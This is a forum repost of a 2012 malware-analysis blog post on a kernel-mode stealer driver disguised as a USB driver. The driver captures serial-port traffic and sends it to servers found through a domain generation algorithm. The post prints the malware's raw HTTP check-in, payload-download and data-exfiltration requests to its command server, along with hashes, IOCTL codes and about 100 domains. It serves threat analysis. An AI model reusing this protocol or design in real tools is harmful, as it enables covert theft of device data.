Jump to content
Nytro

Investigation an interesting kernel mode stealer

Recommended Posts

[h=1]Investigation an interesting kernel mode stealer[/h]

https://twitter.com/artem_i_baranov/status/228409424996352001

About two weeks ago my friend R136a1 from kernelmode forum came across with dropper that installs driver in the system. We decide make research of them, and it was not a mistake of starting it analyse...

Initial dropper hash:

SHA1: a53d0ef7b3a9f81b133c36af60d2b6acd0f82b74

MD5: 9c0744b8119df63371b83724bafe2095

File size: 32768 bytes

On this moment can tell exactly that only one or two vendors identified it with malware family.

1.jpg

2.jpg

3.jpg

Main purpose of dropper - extract driver from itself and install it in the system.

4.jpg

5.jpg

Driver masked as USB-driver and always extracted with same name - usbhc.sys.

6.jpg

Hash:

SHA1: a53d0ef7b3a9f81b133c36af60d2b6acd0f82b74

MD5: 9c0744b8119df63371b83724bafe2095

File size: 32768 bytes

One of the most strange thing that I discovered - driver is a fully standalone and not receives commands from user mode. And of course, it not create device object and symbolic link. for user mode interaction.

Research led me to a conclusion that driver has one main purpose - stealing data from devices that connect to serial ports of computer and sending it to remote server...

For stealing data from these devices it performs preparatory operations.

First, it reads the contents of \REGISTRY\MACHINE\HardWare\DeviceMap\SERIALCOMM that stores devices attached to serial ports [devices representing serial ports].

Second, it performs attaching to all this devices.

9.jpg

7.jpg

8.jpg

After rootkit attached it device, device stack of serial has view:

10.jpg

39.jpg

11.jpg

Second very interesting thing in this case that all network-based communication with remote server also found in driver:

- DGA (Domain Generation Algorithm)

- DNS via UDP (for convert domain names into IP)

- HTTP-based communication via TCP

- Special communication with ndisrd.sys driver.

12.jpg

For retrieving domains and resolve it to IP-addresses, driver uses such technique. First, it looking for DhcpNameServer parameter for each interface that it found at

\REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\

13.jpg

On next step, it generates domains and calls DNS-service for response about it status.

14.jpg

All further communication will be done through this server (which was received via DNS). In the end of post listed all domains that it polls.

Network communication completely based on TDI (Transport Device Interface) [look WDK for it description or this tutorial Driver Development Part 5: Introduction to the Transport Device Interface - CodeProject]

Preparing the server connection has the form (in SDK term - creating socket).

15.jpg

Next it will connect to remote server:

16.jpg

17.jpg

Internally in driver, socket described by this structure:

struct TDI_CONNECTION_INTERNAL

{

PFILE_OBJECT foTransportAddress;

HANDLE hTransportAddress;

PVOID foConnection;

HANDLE hConnection;

....

}

After connection with server was set, it can send requests to it via HTTP. Requests have view:

GET /srv.php?&id=uniqueID&mark=METKA&special_marker_opt HTTP/1.1

Accept-Language: en

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: host

Connection: close

Simple communication with server has view (rollcall):

->

GET /srv.php?&id=GOG73FRHOBFI&mark=METKA HTTP/1.1

Accept-Language: en

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: perwadav.org

Connection: close

<-

HTTP/1.1 200 OK..Date: Mon, 23 Jul 2012 17:13:16 GMT

Server: Apache/2.2.3 (CentOS)..X-Powered-By: PHP/5.1.6

Content-Length: 20

Connection: close

Content-Type: text/html; charset=UTF-8

SERVERISOK -> server status

After connection was established, driver performs downloads a dropper of ndisrd.sys from server, with request:

GET /srv.php?&id=uniqueID&mark=METKA&f=os_ver HTTP/1.1

Variable of os_ver has view n_xp_32 or n_7_32

Basic requests formed with func:

18.jpg

19.jpg

Conversation:

20.jpg

22.jpg

Driver perform saving dropper into:

\SystemRoot\System32\kb_random.exe

In my case:

\SystemRoot\System32\kbVOTHBNAU.exe

From driver:

26.jpg

Downloaded dropper:

SHA1: 911c027e5f4acf4a75d0cf8e751d0ba8fbbd0959

MD5: a93b5454f4492a4a8d971811f2d12b1e

File size: 81805 bytes

21.jpg

After dropper was downloaded, it will be installed by driver. Installation performs in context of trusted process - explorer or services (in depend of OS version).

23.jpg

24.jpg

25.jpg

Purpose of downloaded dropper - installation of ndisrd.sys driver.

27.jpg

Rootkit driver performs opening device of ndisrd.

28.jpg

29.jpg

Purpose of IOCTLs that rootkit sends to NDISRD could not identified, but there is a list of them:

830020D0

830020D4

830020D8

830020DC

830020C4

As I said before main purpose of rootkit - stealing data from serial devices and sending it to server. Stealing of data performed with registering of completion routine in Write and Read - IRP-dispatch functions. Driver registers the device in the chain of serial-devices, and can see all requests that pass through the chain.

30.jpg

IRP_MJ_READ handler - registers completion routine and calls next on the stack.

31.jpg

Completion routine has view:

32.jpg

After data was captured, wakes up a special thread, which writes cached data to a file.

33.jpg

Thread writes data to file - \SystemRoot\System32\svlog.log.

After data was written, thread sets a special event which signaling that data was written to file.

34.jpg

35.jpg

Thread that response for sending data from file to server:

36.jpg

->

GET /srv.php?&id=GOG73FRHOBFI&mark=METKA&a= HTTP/1.1

Accept-Language: en

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: perwadav.org

Connection: close

Data of file

<-

HTTP/1.1 200 OK..Date: Mon, 23 Jul 2012 17:13:16 GMT

Server: Apache/2.2.3 (CentOS)..X-Powered-By: PHP/5.1.6

Content-Length: 20

Connection: close

Content-Type: text/html; charset=UTF-8

SERVERISOK -> server status

Information about malicious domain:

37.jpg

38.jpg

This guy linkedin profile

Nikolay Petrachkov | LinkedIn.

You can download paper about dropper by R136a1 here

http://artemonsecurity.com/research_of_unk_malware.pdf

List of domains:

oqdxvvbk.com

perwadav.org

ebcgndvj.org

qdrhandp.org

tbkfopaf.org

twmhimdj.org

thgdabbj.com

efjwirmb.org

qxkomgei.com

bbfsyfsr.com

jbpgfqra.org

anwfejhx.com

frstfnuh.org

xbcfgule.com

cyfohwwf.com

catjdhuu.org

woyhiepx.org

fmegpykr.com

bowgtptk.com

dnrdyute.org

jchgbmmo.org

poxldxhv.org

mkrhwons.org

aovinvsi.org

ivogeuom.com

mubrnyxd.org

emhedcxc.org

ibqanwif.org

umspakwh.org

wianbpdb.com

oejkewmq.org

gqnjmmgd.org

lpdbwrfu.com

kwkdraat.org

dfogsbau.org

gjfxavjw.org

idrlbacl.org

xavostmi.org

sxdhddbb.com

wbqwvapj.org

jiqcsvng.com

gkceusvc.com

vssqfbmq.org

pcawxcwp.com

lpjnerpe.org

safcoyho.com

llbeoaix.com

oirhxgpf.org

ygdmlsgl.org

fyxfattr.com

tdcqhkne.com

wwdstess.org

eexeufwo.org

wbwfjosa.org

ixskfbvp.org

fmcspasm.org

wdjjkmwv.com

svpaidvo.org

vnhcftma.org

twjotfct.org

fwlckqdv.org

bjfgwabb.com

cdobjfic.org

qjfhsiua.org

enldxohy.com

dcnpyqlg.org

nsbjdfyq.org

cyhwpiaw.org

mnbpwbjj.org

volgbbox.org

tgrwfjpv.com

lgqxwrkf.org

xwalgbjg.com

yuwbhxeu.com

hulosvof.org

qxpvprdy.com

ijjxoocp.org

fbrebqna.com

tpxirylu.com

keukrpqf.org

rxyjkcwj.org

oucmtrhv.com

rxftpvku.com

wlxrrqyd.org

ybljdhos.org

qwkpxcct.org

qecgrdxg.org

dudfymdl.org

sesjvgii.com

yxcxjriu.org

ljmiphjx.org

btotkygq.org

fodbotqn.org

rfsojypy.com

mbdoebhh.org

johqyxsw.org

gldfgkey.com

fvpujviq.org

fyclctjf.org

xnvwdmyf.org

posted by https://twitter.com/artem_i_baranov

Posted 26th July 2012 by Artem

Sursa: Security/malware blog: Investigation an interesting kernel mode stealer

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...